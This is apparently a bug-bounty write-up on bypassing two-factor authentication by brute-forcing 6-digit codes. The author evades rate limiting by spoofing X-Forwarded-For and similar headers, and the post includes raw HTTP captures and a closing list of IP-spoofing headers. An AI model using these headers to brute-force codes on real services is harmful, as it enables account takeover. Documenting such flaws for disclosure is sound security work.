1,000,000 requests 2FA bypass
Greetings!
Today I will be writing yet another write-up on 2 Factor Authentication bypass.
I was hunting on a program secret.com and I came across the 2FA functionality. I quickly turned it on and started testing it.
What is Multi-factor or 2-factor authentication?
2FA or MFA is a second layer of security offered by many web applications to safeguard their users from being hacked for using weak passwords. The first factor is the easy password and the second commonly includes a code generated by a third-party authenticator app like Microsoft Authenticator. The second factor also includes SMS sent over your phone number, or biometrics using your fingerprint, face, or retina.
Now that we have a basic understanding of 2FA, let’s bypass it!
What is a 2FA bypass?
A technique that allows an attacker to skip the second layer of security. You can achieve this using different methods. The one I used was a brute force attack.
What is brute force now?
We will utilize raw force, not our brains. The goal is to enumerate the 6-digit code starting from 000000 to 999999 one at a time. (1 million attempts)
In any normal condition, a user will be stopped before he makes it to 1000 requests, especially on 2FA. So how did I manage to do this bit of sorcery?
I bypassed the rate limit. Yes a bypass inside a bypass
Rate limiting?
Rate limiting is a strategy for limiting network traffic. It puts a cap on how often someone can repeat an action within a certain timeframe — for instance, trying to log in to an account, or submitting a 2FA code.
On submitting the wrong 2FA code to the server, I received the following response to my request.
Request:
POST /auth/totp/verify HTTP/1.1
Host: api.secret-cloud.com
User-Agent: browser
Accept-Encoding: gzip, deflate
Referer: https://dashboard.secret-cloud.com/
authorization: Bearer
eyJhbGci0iJIUzI1NiIsInR5cC161kpXVCJ9.eyJpZCI6MjE4NTkyLCJ1c2VybmFtZSI6ImJhc2F5b3A1NjgiLCJqd3 Rfc2VjcmV0IjoiMlQzQ1BVWTZVMIVCTVERBNINFVIMIVIRSUKZYRFIiLCJ0d29GYWNob3JSZXF1aXJ1ZCI6dHJ1Z
SwibmV1ZHNQYXNzd29yZFJ1c2V0IjpmYWxzZSwiYXV0aFRpbWUiOjE2Mjg4NzM5NzQONDIsIm1hdCI6MTYyODg3Mzk3
NCwiZXhwIjoxNjI5NDc4Nzc0fQ.iVTOSt RU-081g14 PuyLS14gZDuLi8LSkmQu_5g8NpnY
content-type: application/json
Content-Length: 17
Origin: https://dashboard.secret-cloud.com
Connection: close
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
{
"code":"000000"
}
Response:
HTTP/1.1 401 Unauthorized
Date: Fri, 13 Aug 2021 17:20:21 GMT
Connection: close
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Access-Control-Allow-Origin: https://dashboard.secret-cloud.com
Access-Control-Allow-Methods: GET, PUT, POST, PATCH, DELETE, OPTIONS, HEAD
Access-Control-Allow-Headers: Content-Type, Authorization, Application-Record-Count,
MaxDataServiceVersion, X-Requested-With
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 86400
Vary: X-HTTP-Method-Override
Content-Length: 12
Unauthorized
And after sending the same request 10 times, I got a gift from the server.
HTTP/1.1 429 Too Many Requests
Date: Fri, 13 Aug 2021 17:19:59 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 19
Connection: close
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Access-Control-Allow-Origin: https://dashboard.secret-cloud.com
Access-Control-Allow-Methods: GET, PUT, POST, PATCH, DELETE, OPTIONS, HEAD
Access-Control-Allow-Headers: Content-Type, Authorization, Application-Record-Count,
MaxDataServiceVersion, X-Requested-With
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 86400
Vary: X-HTTP-Method-Override, Accept-Encoding Retry-After: 3599
ETag: W/"13-f712+07rCb0L9jb41DTrL36M9qU"
"Too Many Requests"
I was not happy with this gift, so I tried a few other techniques. Finally I added a header that changed everything. X-Forwarded-For, by adding this one header to my request with the value 127.0.0.1, my rate limit was resetted. Instead of 429 Too Many Requests, I got 401 Unauthorized.
My discovery didn’t last long though, I started getting 429 Too Many Requests from the server. I changed the IP address in the X-Forwarded-For header from 127.0.0.1 to 127.0.0.2 and I was a free man again.
I ended up sending over 200,000 Requests using Burp Intruder before I was convinced it was reportable. I made a basic PoC showcasing the rate limit being reset and sent it to the company. I received the following response in a day,
So next time you are testing 2FA, do not forget to use this method.
# https://book.hacktricks.xyz/pentesting-web/rate-limit-bypass
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Host: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
# Double X-Forwarded-For header example
X-Forwarded-For:
X-Forwarded-For: 127.0.0.1
Thanks for making it this far!
References:
thumbnail:
🍪